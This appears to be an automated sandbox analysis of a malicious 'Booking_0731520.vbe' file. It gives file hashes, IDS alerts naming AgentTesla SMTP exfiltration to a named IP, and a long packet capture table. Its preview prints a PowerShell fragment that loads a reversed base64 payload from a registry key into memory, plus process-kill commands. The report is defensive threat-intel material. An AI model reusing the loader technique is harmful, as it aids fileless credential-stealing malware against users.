Preview:	.[91m> .[0m.[93m[.[33m.[45m.[0m.[33m[.[37mAppDomain.[33m]::.[97mCurrentDomain.[33m..[97mLoad.[33m([.[37mConv.[33m.[45m.[0m.[33m[.[37mAppDomain.[33m]::.[97mCurrentDomain.[33m..[97mLoad.[33m([.[37mConvert.[33m]::.[97mFromBase64String.[33m(.[33m.[45m.[0m.[33m.[45m> .[0m.[33m[.[37mAppDomain.[33m]::.[97mCurrentDomain.[33m..[97mLoad.[33m([.[37mConvert.[33m]::.[97mFromBase64String.[33m((.[90m-join.[33m.[45m .[33m(.[93mGet-ItemProperty.[33m.[45m .[90m-LiteralPath.[33m.[45m .[36m'HKCU:\Software\PPJeBFdmEDGXlnL'.[33m.[45m .[90m-Name.[33m.[45m .[36m's'.[33m)..[97ms.[33m.[45m .[33m\|.[33m.[45m .[93mForEach-Object.[33m.[45m .[33m{.[92m$_.[33m[.[97m-1.[90m..-.[33m(.[92m$_.[33m..[97mLength.[33m)]})));.[33m.[45m .[33m[.[37mb.b.[33m]::.[97mb.[33m(.[36m'PPJeBFdmEDGXlnL'.[33m).[0m.tape 1 ..etape 2...[93mStop-Process.[33m.[45m .[90m-Name.[33m.[45m .[33mconho.[33m.[45m.[0m.[93mStop-Process.[33m.[45m .[90m-Name.[33m.[45m .[33mconhos.[33m.[45m.[0m.[93mStop-Process.[33m.[45m .[90m-Name.[33m.[45m .[33mconhost.[

Static File Info

General

File type:	data
Entropy (8bit):	3.9029235707037766
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	Booking_0731520.vbe
File size:	9'826 bytes
MD5:	134984e6d7545ba5eb30563498459f72
SHA1:	58ebeaa8da58484f3fcc371b436243e49e41d507
SHA256:	98b8949bd59e771f6e2cd4366783145ea645fe71d255e92462864551292113a9
SHA512:	8646a60160540e5342169ba4c7d636efd6fd1ed0b7dfb39a0c21cb9f38fe367200a128bf269fa89fe2d8f496194f52347bf8d3cf524e70e4fd646a895ad0b054
SSDEEP:	192:DwlgjmTN5A/gHSf1tVEKriWTJOg+tG/HTKDlSK:cO2pK1tGKmd9E/HTKDlX
TLSH:	DA12E054CE9D01C1F32267C65BDAABD50B2F6D606B0F4AD70C6482C7272EEC1A666F30
File Content Preview:	..#.@.~.^.F.x.M.A.A.A.=.=.v.h.n.B...A.w.N.:.A.f.V.p.V...S.@.#.@.&.E.1.G.h.,.N.E.,.2.D.K.L.+.D.~.l.P.r.n.m.Y.4.J.@.#.@.&.@.#.@.&.6.w.D.r.W...P.3.a.a.V.k.^.r.D.@.#.@.&.@.#.@.&.v.,.e.M.C.P.w.W.x.1.Y.b.G.x.,.w.G.E.M.P...n.s.w.V.m.^.+.M.P.N...d.~.W.1.m.!.D...+

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T13:39:42.481624+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.5	49983	162.254.34.31	587	TCP
2024-11-12T13:39:42.481624+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.5	49983	162.254.34.31	587	TCP
2024-11-12T13:39:48.072675+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	172.67.215.48	443	TCP
2024-11-12T13:39:49.557492+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	172.67.215.48	443	TCP
2024-11-12T13:39:50.915029+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	172.67.215.48	443	TCP
2024-11-12T13:40:04.633177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	172.67.215.48	443	TCP
2024-11-12T13:40:05.930252+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49712	172.67.215.48	443	TCP
2024-11-12T13:40:06.552482+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.5	49707	TCP
2024-11-12T13:40:45.748023+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.5	49920	TCP
2024-11-12T13:41:13.436879+0100	2855245	ETPRO MALWARE Agent Tesla Exfil via SMTP	1	192.168.2.5	49983	162.254.34.31	587	TCP
2024-11-12T13:41:13.436879+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	49983	162.254.34.31	587	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 13:39:47.446396112 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:47.446449995 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:47.446536064 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:47.448018074 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:47.448035002 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.072509050 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.072674990 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.076066971 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.076075077 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.076364994 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.122256041 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.122903109 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.163325071 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.515608072 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.515647888 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.515675068 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.515705109 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.515733004 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.515743017 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.515753984 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.515784025 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.515805960 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.515810013 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.515971899 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.516001940 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.516005039 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.516012907 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.516052961 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.636708021 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.640619040 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.640655994 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.640685081 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.640705109 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.640711069 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.640722036 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.640764952 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.640764952 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.640778065 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.641309023 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.641366959 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.641375065 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.684725046 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.684746981 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.725197077 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.760586977 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.761461020 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.761599064 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.774013996 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.774036884 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.774065018 CET	49704	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.774071932 CET	443	49704	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.930536985 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.930582047 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:48.930660963 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.930969954 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:48.930985928 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.557369947 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.557492018 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:49.558756113 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:49.558765888 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.559041977 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.559922934 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:49.603337049 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.954081059 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.954149961 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.954180956 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.954211950 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.954210997 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:49.954253912 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.954272985 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:49.954297066 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.954335928 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:49.954339027 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.954350948 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.954387903 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:49.954533100 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:49.997205019 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:49.997246981 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.044075966 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.073508978 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.080269098 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.080305099 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.080332994 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.080395937 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.080435038 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.080451012 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.080522060 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.080547094 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.080560923 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.080568075 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.080601931 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.080607891 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.122176886 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.122210979 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.169060946 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.192104101 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.199172974 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.199248075 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.199265003 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.199296951 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.199331045 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.199343920 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.199352980 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.199387074 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.199392080 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.200248957 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.200299025 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.200306892 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.200660944 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.200702906 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.200709105 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.200726986 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.200771093 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.200865030 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.200879097 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.200891018 CET	49705	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.200896025 CET	443	49705	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.303664923 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.303719044 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.303802967 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.305547953 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.305560112 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.914828062 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.915029049 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.916233063 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.916243076 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.916446924 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:50.917325974 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:50.959325075 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.321563005 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.321635962 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.321662903 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.321686983 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.321706057 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.321712017 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.321722031 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.321738005 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.321763039 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.321768999 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.322276115 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.322319984 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.322324038 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.372181892 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.372189045 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.419049025 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.438437939 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.451145887 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.451181889 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.451212883 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.451236963 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.451263905 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.451263905 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.451263905 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.451280117 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.451330900 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.451888084 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.451951981 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.451957941 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.497308016 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.497318029 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.544095039 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.555546045 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.568208933 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.568252087 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.568293095 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.568320990 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.568329096 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.568356037 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.568375111 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.568437099 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.568443060 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.578413010 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.578497887 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.578526974 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.603473902 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.603694916 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.603718996 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.653445005 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.672643900 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.685144901 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.685256004 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.685285091 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.685426950 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.685453892 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.685473919 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.685480118 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.685504913 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.685545921 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.685551882 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.685652971 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.695513964 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.695561886 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.695627928 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.695651054 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.720660925 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.720774889 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.720799923 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.720889091 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.802237988 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.802257061 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.802541018 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.802597046 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.802597046 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.802615881 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.802874088 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.812593937 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.812678099 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.826220989 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.826308012 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.906810045 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.906883001 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.920344114 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.920428038 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.929939032 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.930111885 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:51.943968058 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:51.944138050 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.023957968 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.024035931 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.037282944 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.037349939 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.037467957 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.046973944 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.047046900 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.047060013 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.047106028 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.072065115 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.072174072 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.072298050 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.072350025 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.154628992 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.154772043 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.154788017 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.154825926 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.164184093 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.164247036 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.189239979 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.189280033 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.189416885 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.189416885 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.189439058 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.231563091 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.271415949 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.271496058 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.271711111 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.271775007 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.281583071 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.281639099 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.306514978 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.306591988 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.351959944 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.352029085 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.388758898 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.388835907 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.389045954 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.389096022 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.389898062 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.389952898 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.423856020 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.423923016 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.469172001 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.469291925 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.506051064 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.506089926 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.506130934 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.506145954 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.506160975 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.506808996 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.506856918 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.506864071 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.506912947 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.540704966 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.540769100 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.586672068 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.586740971 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.623016119 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.623090982 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.623255014 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.623284101 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.623306036 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.623325109 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.623341084 CET	49706	443	192.168.2.5	172.67.215.48
Nov 12, 2024 13:39:52.623697042 CET	443	49706	172.67.215.48	192.168.2.5
Nov 12, 2024 13:39:52.623749018 CET	49706	443	192.168.2.5	172.67.215.48
